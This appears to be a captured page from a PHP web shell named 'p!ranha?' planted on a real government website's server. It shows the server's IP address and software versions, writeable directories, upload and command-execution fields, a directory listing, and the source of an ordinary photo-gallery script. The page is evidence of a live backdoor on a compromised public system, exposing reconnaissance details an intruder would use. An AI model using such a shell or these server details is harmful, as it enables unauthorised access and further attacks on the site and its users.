p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/promosi/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/promosi/getPhoto.php
<?php
if (isset($_SERVER['HTTP_REFERER']) && filter_var($_SERVER['HTTP_REFERER'], FILTER_VALIDATE_URL)) {
    $refererHost = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST);
    $currentHost = $_SERVER['HTTP_HOST'];

    if (strpos($refererHost, $currentHost) === false) {
        header("HTTP/1.1 403 Forbidden");
        exit('Access Denied');
    }
} else {
    header("HTTP/1.1 403 Forbidden");
    exit('Direct Access Not Allowed');
}

header('Content-Type: application/json'); 

$data=array();
if(isset($_REQUEST['tipe'])){
	$dirname = "../home/assets/gallery/photo/GALLERY UMKM/";	
}else{
	$dirname = "../home/assets/gallery/photo/GALLERY KEGIATAN/";	
}

$images = glob($dirname."*{jpeg,JPG,jpg}", GLOB_BRACE);
sort($images, create_function('$a,$b', 'return filemtime($a) - filemtime($b);'));
$x=0;
foreach($images as $image) {
	$ext = pathinfo($image, PATHINFO_EXTENSION);
	$nama = basename($image,".".$ext);
    $data[$x]['src']=str_replace('..','https://dpmptsp.pekanbaru.go.id/home/',$image);
    $data[$x]['thumb']=str_replace('..','https://dpmptsp.pekanbaru.go.id/home/',$image);
    $data[$x]['subHtml']=$nama;
	$x++;
}
echo json_encode($data);
exit;
?>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:06
1000 / 1000
0755
assets
--
December 21 2023 09:42:33
1000 / 1000
0755
page
--
December 21 2023 09:41:40
1000 / 1000
0755
.htaccess
0.64 KB
January 13 2024 08:42:41
1000 / 1000
0755
getData.php
4.803 KB
January 13 2024 08:42:41
1000 / 1000
0755
getDataPMA.php
5.138 KB
January 13 2024 08:42:41
1000 / 1000
0755
getDataPMDN.php
5.01 KB
January 13 2024 08:42:41
1000 / 1000
0755
getPhoto.php
1.179 KB
January 21 2026 08:38:15
1000 / 1000
0755
getVideo.php
2.239 KB
January 21 2026 08:45:29
1000 / 1000
0755
index.php
9.097 KB
January 13 2024 08:42:41
1000 / 1000
0755
singel_post.php
12.409 KB
January 13 2024 08:42:41
1000 / 1000
0755